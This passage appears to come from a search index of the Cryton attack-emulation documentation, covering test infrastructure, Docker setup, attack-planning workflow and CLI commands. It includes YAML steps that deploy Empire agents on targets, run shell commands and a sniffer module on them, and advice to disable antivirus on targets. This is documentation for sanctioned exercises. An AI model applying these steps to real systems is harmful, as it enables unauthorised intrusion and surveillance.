<li>Empire server must be running on the localhost.</li> <li>Worker has to be able to connect to running Empire server (you have to update Worker's settings).</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-http_trigger-test","title":"Additional requirements for http_trigger test","text":"<ol> <li>Worker must be installed on a machine with the IP address specified in the <code>config.yml</code> file.</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-msf_trigger-test","title":"Additional requirements for msf_trigger test","text":"<ol> <li>Worker must be able to connect to the <code>msfrpcd</code> in order to successfully use MSFListener.</li> <li>Worker must be installed on a machine with the IP address specified in the <code>config.yml</code> file.</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-empire-test","title":"Additional requirements for empire test","text":"<ol> <li>Empire server must be running on the localhost.</li> <li>Worker has to be able to connect to running Empire server (you have to update Worker's settings).</li> </ol>"},{"location":"getting-started/playground/#infrastructure","title":"Infrastructure","text":"<p>The infrastructure consists of 4 machines that are used for testing.</p>"},{"location":"getting-started/playground/#tester-machine","title":"Tester machine","text":"<p>The machine contains Cryton CLI and Cryton E2E tools.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up tester\n</code></pre></p>"},{"location":"getting-started/playground/#core-machine","title":"Core machine","text":"<p>The machine contains the Cryton Core tool.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up core\n</code></pre></p>"},{"location":"getting-started/playground/#worker-machine","title":"Worker machine","text":"<p>The machine contains the Cryton Worker tool. Also hosts an empire server and Metasploit framework.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up worker\n</code></pre></p>"},{"location":"getting-started/playground/#victim-machine","title":"Victim machine","text":"<p>Machine hosts DVWA.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up victim\n</code></pre></p>"},{"location":"getting-started/playground/#settings","title":"Settings","text":"<p>The tool uses environment variables for its settings. Please update variables for your use case. <pre><code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE=CHANGE_ME\nCRYTON_E2E_DIRECTORY=CHANGE_ME\nCRYTON_E2E_TESTS=all\nCRYTON_E2E_VERBOSE=False\n\nCRYTON_CLI_TIME_ZONE=AUTO\nCRYTON_CLI_API_HOST=127.0.0.1\nCRYTON_CLI_API_PORT=8000\nCRYTON_CLI_API_SSL=False\nCRYTON_CLI_API_ROOT=api/\n</code></pre></p> <p>If you're using Pipenv as your Python virtual environment, re-entering it should be enough to load variables from the .env file, if that is not the case you need to set/export the variables by yourself (For example using this handy oneliner: <code>export $(cat .env | sed 's/#.*//g' | xargs)</code>). To update an environment variable you can use the export command. For example: <code>export CRYTON_E2E_TESTS=all</code>. Some environment variables can be overridden in CLI. Try using <code>cryton-e2e --help</code>.</p> <p>Settings description: - <code>CRYTON_CLI_*</code> - Cryton CLI environment variables' description can be found it the Cryton CLI repository - <code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE</code> - (string) Path to the Cryton CLI executable (<code>/path/to/cryton-cli</code>) - <code>CRYTON_E2E_DIRECTORY</code> - (string) Path to the Cryton E2E directory (<code>/path/to/cryton-e2e</code>) - <code>CRYTON_E2E_TESTS</code> - (list of strings separated by spaces) What tests to run (<code>basic</code>/<code>advanced</code>/<code>empire</code>/<code>http_trigger</code>/<code>msf_trigger</code>/<code>all</code>) (for example <code>basic empire msf_trigger</code>) - <code>CRYTON_E2E_VERBOSE</code> - (string) Show verbose output (<code>false</code> - simple output / <code>true</code> - verbose output)</p>"},{"location":"getting-started/quick-start/","title":"Quick-start","text":"<p>This example will allow you to quickly install the main Cryton tools using Docker Compose. </p> Want more deployment options? <ul> <li>Core</li> <li>Worker</li> <li>Modules</li> <li>CLI</li> <li>Frontend</li> </ul> <p>System requirements</p> <p>Please make sure you are using a system that has at least 2048 MB of RAM and 2 CPU cores, otherwise you might experience stability issues.</p>"},{"location":"getting-started/quick-start/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Git</li> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Docker post-installation steps</li> <li>Production deployment</li> </ul> <p>First, create a new directory: <pre><code>mkdir cryton\ncd cryton\n</code></pre></p> <p>Clone the modules: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-modules.git --branch stable/2023.1\n</code></pre></p> <p>Download the .env file (settings):</p> curlwget <pre><code>curl -o .env https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/env\n</code></pre> <pre><code>wget -O .env https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/env\n</code></pre> Show the .env file <pre><code>CRYTON_CORE_RABBIT_HOST=cryton-rabbit\nCRYTON_CORE_RABBIT_PORT=5672\nCRYTON_CORE_RABBIT_USERNAME=cryton\nCRYTON_CORE_RABBIT_PASSWORD=cryton\nCRYTON_CORE_DB_HOST=cryton-pgbouncer\nCRYTON_CORE_DB_PORT=5432\nCRYTON_CORE_DB_NAME=cryton\nCRYTON_CORE_DB_USERNAME=cryton\nCRYTON_CORE_DB_PASSWORD=cryton\nCRYTON_CORE_API_SECRET_KEY=cryton\nCRYTON_CORE_API_USE_STATIC_FILES=true\n\nCRYTON_WORKER_NAME=local_worker\nCRYTON_WORKER_MODULES_DIR=/opt/modules/\nCRYTON_WORKER_MSFRPCD_PORT=55553\nCRYTON_WORKER_MSFRPCD_SSL=true\nCRYTON_WORKER_MSFRPCD_USERNAME=cryton\nCRYTON_WORKER_MSFRPCD_PASSWORD=cryton\nCRYTON_WORKER_RABBIT_USERNAME=cryton\nCRYTON_WORKER_RABBIT_PASSWORD=cryton\nCRYTON_WORKER_EMPIRE_USERNAME=cryton\nCRYTON_WORKER_EMPIRE_PASSWORD=cryton\n\nCRYTON_CLI_API_PORT=80\n</code></pre> <p>Download the Compose configuration:</p> curlwget <pre><code>curl -O https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/docker-compose.yml\n</code></pre> <pre><code>wget https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/mastergetting-started/docker-compose.yml\n</code></pre> Show the Compose config <pre><code>version: '3.9'\nservices:\ncryton_core:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1\ncontainer_name: cryton-core\nports:\n- \"127.0.0.1:8000:80\"\nenv_file:\n- .env\ndepends_on:\ncryton_pgbouncer:\ncondition: service_healthy\ncryton_rabbit:\ncondition: service_healthy\n\ncryton_proxy:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-core:proxy-2023.1\ncontainer_name: cryton-proxy\nnetwork_mode: service:cryton_core\ndepends_on:\ncryton_core:\ncondition: service_started\n\ncryton_cli:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-cli:2023.1\ncontainer_name: cryton-cli\nnetwork_mode: service:cryton_core\nenv_file:\n- .env\ndepends_on:\ncryton_core:\ncondition: service_started\ntty: true\n\ncryton_worker:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:kali-2023.1\ncontainer_name: cryton-worker\nnetwork_mode: host\nenv_file:\n- .env\nvolumes:\n- ./cryton-modules/modules/:${CRYTON_WORKER_MODULES_DIR}\n- cryton_worker_db_data:/var/lib/postgresql/15/main\n\ncryton_empire:\nrestart: always\nimage: bcsecurity/empire:v4.10.0\ncontainer_name: cryton-empire\nnetwork_mode: host\nenv_file:\n- .env\nstdin_open: true\ncommand: [ \"server\", \"--username\", \"$CRYTON_WORKER_EMPIRE_USERNAME\", \"--password\", \"$CRYTON_WORKER_EMPIRE_PASSWORD\" ]\n\ncryton_db:\nrestart: always\nimage: postgres:13\ncontainer_name: cryton-db\nenv_file:\n- .env\nenvironment:\nPOSTGRES_PASSWORD: $CRYTON_CORE_DB_PASSWORD\nPOSTGRES_USER: $CRYTON_CORE_DB_USERNAME\nPOSTGRES_DB: $CRYTON_CORE_DB_NAME\nvolumes:\n- cryton_core_db_data:/var/lib/postgresql/data\nexpose:\n- \"5432\"\nhealthcheck:\ntest: /usr/bin/pg_isready\ninterval: 20s\ntimeout: 10s\nretries: 5\n\ncryton_pgbouncer:\nrestart: always\nimage: edoburu/pgbouncer:1.18.0\ncontainer_name: cryton-pgbouncer\ndepends_on:\ncryton_db:\ncondition: service_healthy\nenv_file:\n- .env\nenvironment:\nDB_HOST: cryton_db\nDB_USER: $CRYTON_CORE_DB_USERNAME\nDB_NAME: $CRYTON_CORE_DB_NAME\nDB_PASSWORD: $CRYTON_CORE_DB_PASSWORD\nMAX_CLIENT_CONN: 5000\nDEFAULT_POOL_SIZE: 8\nMIN_POOL_SIZE: 8\nPOOL_MODE: transaction\nexpose:\n- \"5432\"\nhealthcheck:\ntest: /usr/bin/pg_isready -h 0.0.0.0 -p 5432\ninterval: 20s\ntimeout: 10s\nretries: 5\n\ncryton_rabbit:\nrestart: always\nimage: rabbitmq:3.11-management\ncontainer_name: cryton-rabbit\nenv_file:\n- .env\nenvironment:\nRABBITMQ_DEFAULT_USER: $CRYTON_CORE_RABBIT_USERNAME\nRABBITMQ_DEFAULT_PASS: $CRYTON_CORE_RABBIT_PASSWORD\nports:\n- \"5672:5672\"\n- \"127.0.0.1:15672:15672\"\nhealthcheck:\ntest: rabbitmqctl eval '\n{ true, rabbit_app_booted_and_running } = { rabbit:is_booted(node()), rabbit_app_booted_and_running },\n{ [], no_alarms } = { rabbit:alarms(), no_alarms },\n[] /= rabbit_networking:active_listeners(),\nrabbitmq_node_is_healthy.\n' || exit 1\ninterval: 20s\ntimeout: 10s\nretries: 5\n\nvolumes:\ncryton_core_db_data:\ncryton_worker_db_data:\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p>"},{"location":"getting-started/quick-start/#test-the-installation","title":"Test the installation","text":"<p>Now we want to test if the CLI, Worker, and Core are communicating.</p> <p>Start an interactive shell in the cryton-cli container: <pre><code>docker compose exec cryton_cli bash\n</code></pre></p> <p>Create (register) the Worker: <pre><code>cryton-cli workers create local_worker -d \"my local worker for testing\"\n</code></pre></p> <p>Check if the Worker is reachable (use the id from the previous command): <pre><code>cryton-cli workers health-check <id>\n</code></pre></p>"},{"location":"getting-started/workflow/","title":"Workflow","text":"<p>The following is the ideal sequence of steps to use when you are planning an attack and using Cryton to automate it.</p>"},{"location":"getting-started/workflow/#deployment","title":"Deployment","text":"<p>First, you need to prepare an infrastructure for your cyber defense exercise. Deploying the Cryton toolset should be part of it:</p> <ol> <li>Install and set up Core</li> <li>Install CLI and Frontend</li> <li>Install and set up your Worker(s)</li> <li>Make sure it works:<ul> <li>Core is up and running</li> <li>CLI/Frontend can access Core's REST API</li> <li>Worker(s) are up and running</li> <li>Worker(s) are connected to the RabbitMQ server</li> </ul> </li> </ol> <p>Once the Cryton tools are deployed, you can start planning your attack.</p> <p>Tips</p> <ul> <li>CLI and Frontend can be deployed outside the infrastructure since other components don't need access to them</li> <li>Use one worker per team infrastructure</li> </ul> <p>This section can be represented by the quick-start guide.</p>"},{"location":"getting-started/workflow/#attack-planning","title":"Attack planning","text":"<p>Every Run can be described by a simple formula: <pre><code>plan template + inventory = Plan instance\nPlan instance + Worker = Plan execution\nPlan instance + Workers = Run\n</code></pre></p> <p>Which results in the following steps:</p> <ol> <li>Choose or design a plan template</li> <li>Create a Plan instance</li> <li>Register the Worker(s)</li> <li>Create a Run</li> <li>Schedule or execute the Run</li> <li>Get the Run Report</li> </ol> <p>More information about this section can be found in the execution example.</p>"},{"location":"integrated-tools/empire/","title":"Empire","text":"<p>Description of Empire functionalities supported by Cryton.</p> <p>functionalities:</p> <ol> <li>Deploy empire agents through ssh connection or metasploit session</li> <li>Execute shell scripts or Empire modules on active agents</li> </ol>"},{"location":"integrated-tools/empire/#requirements-for-usage-with-core","title":"requirements for usage with Core:","text":"<ul> <li>Installed and running Empire server with version 4.x.x. Installation guide here</li> <li>Installed all main Cryton components, that is Core, Worker and Cli</li> <li>Empire server needs to be able to communicate with Worker component</li> </ul> <p>For Empire usage only with Worker see documentation here.</p>"},{"location":"integrated-tools/empire/#step-types-for-empire-functionalities","title":"Step types for Empire functionalities","text":"<p>Empire functionalities supported by Cryton are represented by different Step types. More about the <code>step_type</code> argument in here.</p>"},{"location":"integrated-tools/empire/#deploy-empire-agent-on-a-target","title":"Deploy Empire agent on a target","text":"<p>This functionality uses <code>step_type: empire/agent-deploy</code> and enables to deploy Empire agent on the given target (executing Empire generated payload with given parameters on target).</p> <p>Usable arguments for this step type are:</p> Argument Description <code>listener_name</code> Name of listener in Empire for identification. If listener with this name already exists in Empire, it will be used for stager generation. <code>listener_port</code>(optional) Port on which should be listener communicating with Agents. <code>listener_options</code>(optional) Additional adjustable parameters for creating listener. More on here. <code>listener_type</code>(optional) Type of listener (default: http). <code>stager_type</code> Type of stager that should be generated in form of path (example: `multi/bash'). For stager types look here. <code>stager_options</code>(optional) Additional adjustable parameters for generating stager. Parameters can be viewed in individual stager python files or through Empire client. <code>agent_name</code> Name for the deployed agent which is going to be used as a reference to this agent later. <code>use_named_session</code>(optional) Name of created msf session through Cryton. <code>use_any_session_to_target</code>(optional) Ip address of target on which has been created msf session <code>session_id</code>(optional) ID of msf session to target. <code>ssh_connection</code>(optional) Arguments for creating ssh connection to target."},{"location":"integrated-tools/empire/#arguments-for-ssh_connection","title":"Arguments for <code>ssh_connection</code>","text":"Argument Description <code>target</code> Ip address for ssh connection. <code>username</code>(optional) Username for ssh connection. <code>password</code>(optional) Password for ssh connection if <code>ssh_key</code> is not supplied. <code>ssh_key</code>(optional) Ssh key for ssh connection if <code>password</code> is not supplied. <code>port</code>(optional) Port for ssh connection (default: 22)."},{"location":"integrated-tools/empire/#example","title":"Example","text":"<pre><code>- name: deploy-agent\nstep_type: empire/agent-deploy\narguments:\nuse_named_session: session_to_target_1 # using named session created in step ssh-session\nlistener_name: testing\nlistener_port: 80\nstager_type: multi/bash\nagent_name: MyAgent # only lower/upper characters and numbers allowed in name\n</code></pre>"},{"location":"integrated-tools/empire/#execute-shell-script-or-empire-module-on-agent","title":"Execute shell script or Empire module on agent","text":"<p>This functionality uses <code>step_type: empire/execute</code> and allows the execution of shell commands or Empire modules on active Empire agents.</p> <p>To execute a Shell command use the following arguments:</p> Argument Description <code>use_agent</code> Name of an active agent that checked on Empire server. <code>shell_command</code> Shell command that should be executed on an active agent (example: <code>whoami</code>). <p>To execute an Empire module use the following arguments:</p> Argument Description <code>use_agent</code> Name of an active agent that checked on Empire server. <code>module</code> Name of Empire module in form of a path that should be executed on the active agent (example: <code>collection/sniffer</code>). Available Empire modules here. <code>module_arguments</code>(optional) Additional arguments for Empire module execution."},{"location":"integrated-tools/empire/#example_1","title":"Example","text":"<pre><code>- name: sniffer-on-agent\nstep_type: empire/execute\narguments:\nuse_agent: MyAgent\nmodule: collection/sniffer\nmodule_arguments: # Optional\nIpFilter: 192.168.33.12\nPortFilter: 1234\n</code></pre> <pre><code>- name: whoami-on-agent\nstep_type: empire/execute\narguments:\nuse_agent: MyAgent\nshell_command: whoami\n</code></pre>"},{"location":"integrated-tools/empire/#debugging","title":"Debugging","text":""},{"location":"integrated-tools/empire/#empire-server-connection-problems","title":"Empire server connection problems","text":"<ol> <li>Check that the empire server is running correctly</li> <li>Check that the Worker component has access to the Empire server</li> </ol>"},{"location":"integrated-tools/empire/#empire-agent-cannot-connect-to-the-empire-server","title":"Empire Agent cannot connect to the Empire server","text":"<ol> <li>If you are using metasploit session for agent deployment, check that the session is functioning correctly</li> <li>Check that the Listener Host option is set to an IP address of the machine that the Empire server is running on and that the target you are deploying an Empire agent on has access to that IP address</li> </ol>"},{"location":"integrated-tools/empire/#deploy-empire-agent-on-windows","title":"Deploy Empire agent on Windows","text":"<p>Recommended Empire <code>stager_type</code> to use for Windows machines is <code>multi/launcher</code> right now.</p> <p>IMPORTANT!!</p> <p>For empire stagers to work on newer versions of Windows OS, you need to disable all firewall and antivirus protection on targeted Windows machine.</p>"},{"location":"integrated-tools/metasploit/","title":"Metasploit","text":"<p>Description of Metasploit functionalities supported by Cryton.</p>"},{"location":"integrated-tools/metasploit/#setup","title":"Setup","text":"<p>To be able to use MSF, it must be accessible to the Worker. All you need to do is start the msfrpc(d) module in MSF and set Worker's environment <code>CRYTON_WORKER_MSFRPCD_*</code> variables. After that, if you start the Worker and a connection is created, you will see the following message: <code>Connected to msfrpcd.</code>. </p>"},{"location":"integrated-tools/metasploit/#start-msfrpc","title":"Start MSFRPC","text":"<pre><code>load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User=msf Pass='toor' SSL=true\n</code></pre> <pre><code>msfrpcd -P toor\n</code></pre>"},{"location":"integrated-tools/metasploit/#session-management","title":"Session management","text":"<p>Cryton allows you to utilize sessions from Metasploit. To learn how, see session management.</p>"},{"location":"integrated-tools/metasploit/#msf-listener","title":"MSF listener","text":"<p>Cryton allows creating a Stage that will start an MSF listener on Worker and will wait until it returns a session that matches defined parameters. For more information see MSF listener in Stage.</p>"},{"location":"interfaces/cli/","title":"CLI","text":"<p>CLI implements capabilities of the Cryton's REST API and can be automated by using custom scripts.</p> <pre><code>Usage: cryton-cli [OPTIONS] COMMAND [ARGS]...\n\n A CLI wrapper for Cryton API.\n\nOptions:\n -H, --host TEXT Set Cryton's address (default is localhost).\n -p, --port INTEGER Set Cryton's address (default is 8000).\n --secure Set if HTTPS will be used.\n --debug Show non formatted output.\n --version Show the version and exit.\n --help Show this message and exit.\n\nCommands:\n execution-variables Manage Execution variables from here.\n logs Manage Workers from here.\n plan-executions Manage Plan's executions from here.\n plan-templates Manage Plan templates from here.\n plans Manage Plans from here.\n runs Manage Runs from here.\n stage-executions Manage Stage's executions from here.\n stages Manage Stages from here.\n step-executions Manage Step's executions from here.\n steps Manage Steps from here.\n workers Manage Workers from here.\n</code></pre>"},{"location":"interfaces/cli/#execution-variables","title":"execution-variables","text":"<p>Manage Execution variables from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create","title":"create","text":"<p>Create new execution variable(s) for PLAN_EXECUTION_ID from FILE.</p> <p>PLAN_EXECUTION_ID IS ID of the desired PlanExecution.</p> <p>FILE is path (can be multiple) to file(s) containing execution variables.</p> <p>Arguments: - PLAN_EXECUTION_ID - FILE </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete","title":"delete","text":"<p>Delete Execution variable with EXECUTION_VARIABLE_ID saved in Cryton.</p> <p>EXECUTION_VARIABLE_ID is ID of the Execution_variable you want to delete.</p> <p>Arguments: - EXECUTION_VARIABLE_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list","title":"list","text":"<p>List existing Execution variables in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Execution variables using Plan execution ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show","title":"show","text":"<p>Show Execution variable with EXECUTION_VARIABLE_ID saved in Cryton.</p> <p>EXECUTION_VARIABLE_ID is ID of the Execution variable you want to see.</p> <p>Arguments: - EXECUTION_VARIABLE_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#generate-docs","title":"generate-docs","text":"<p>Generate Markdown documentation for CLI.</p> <p>FILE is path/to/your/file where you want to save the generated documentation.</p> <p>Arguments: - FILE </p> <p>Options: - layer (<code>-l</code>, <code>--layer</code>) - Highest header level. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#logs","title":"logs","text":"<p>Manage Workers from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_1","title":"list","text":"<p>List existing Logs in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Phrase to use to filter the results. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#plan-executions","title":"plan-executions","text":"<p>Manage Plan's executions from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_1","title":"delete","text":"<p>Delete Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to delete.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill","title":"kill","text":"<p>Kill Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_2","title":"list","text":"<p>List existing Plan's executions in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Plan executions using Run ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#pause","title":"pause","text":"<p>Pause Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to pause.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report","title":"report","text":"<p>Create report for Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to create report for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#resume","title":"resume","text":"<p>Resume Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to resume.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_1","title":"show","text":"<p>Show Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to see.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate-modules","title":"validate-modules","text":"<p>Validate modules for Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to validate modules for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#plan-templates","title":"plan-templates","text":"<p>Manage Plan templates from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_1","title":"create","text":"<p>Store Plan Template into Cryton.</p> <p>FILE is path/to/your/file that you want to upload to Cryton.</p> <p>Arguments: - FILE </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_2","title":"delete","text":"<p>Delete Template with TEMPLATE_ID saved in Cryton.</p> <p>TEMPLATE_ID is ID of the Template you want to delete.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#get-template","title":"get-template","text":"<p>Get Template with TEMPLATE_ID saved in Cryton.</p> <p>TEMPLATE_ID is ID of the Template you want to get.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the template to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_3","title":"list","text":"<p>List existing Plan templates in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_2","title":"show","text":"<p>Show Template with TEMPLATE_ID saved in Cryton.</p> <p>TEMPLATE_ID is ID of the Template you want to see.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#plans","title":"plans","text":"<p>Manage Plans from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_2","title":"create","text":"<p>Fill template PLAN_TEMPLATE_ID with inventory file(s) and save it to Cryton.</p> <p>PLAN_TEMPLATE_ID is ID of the template you want to fill.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_3","title":"delete","text":"<p>Delete Plan with PLAN_ID saved in Cryton.</p> <p>PLAN_ID is ID of the Plan you want to delete.</p> <p>Arguments: - PLAN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#execute","title":"execute","text":"<p>Execute Plan saved in Cryton with PLAN_ID on Worker with WORKER_ID and attach it to Run with RUN_ID.</p> <p>PLAN_ID is ID of the Plan you want to execute.</p> <p>WORKER_ID is ID of the Plan you want to execute.</p> <p>RUN_ID is ID of the Run you want to attach this execution to.</p> <p>Arguments: - PLAN_ID - WORKER_ID - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#get-plan","title":"get-plan","text":"<p>Get Plan with PLAN_ID saved in Cryton.</p> <p>PLAN_ID is ID of the Plan you want to get.</p> <p>Arguments: - PLAN_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the plan to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_4","title":"list","text":"<p>List existing Plans in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_3","title":"show","text":"<p>Show Plan with PLAN_ID saved in Cryton.</p> <p>PLAN_ID is ID of the Plan you want to see.</p> <p>Arguments: - PLAN_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate","title":"validate","text":"<p>Validate (syntax check) your FILE with Plan.</p> <p>FILE is path/to/your/file that you want to validate.</p> <p>Arguments: - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#runs","title":"runs","text":"<p>Manage Runs from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_3","title":"create","text":"<p>Create new Run with PLAN_ID and WORKER_IDS.</p> <p>PLAN_ID is ID of the Plan you want to create Run for. (for example 1)</p> <p>WORKER_IDS is list of IDs you want to use for Run. (1 2 3)</p> <p>Arguments: - PLAN_ID - WORKER_IDS </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_4","title":"delete","text":"<p>Delete Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to delete.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#execute_1","title":"execute","text":"<p>Execute Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to execute.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#get-plan_1","title":"get-plan","text":"<p>Get plan from Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to get plan from.</p> 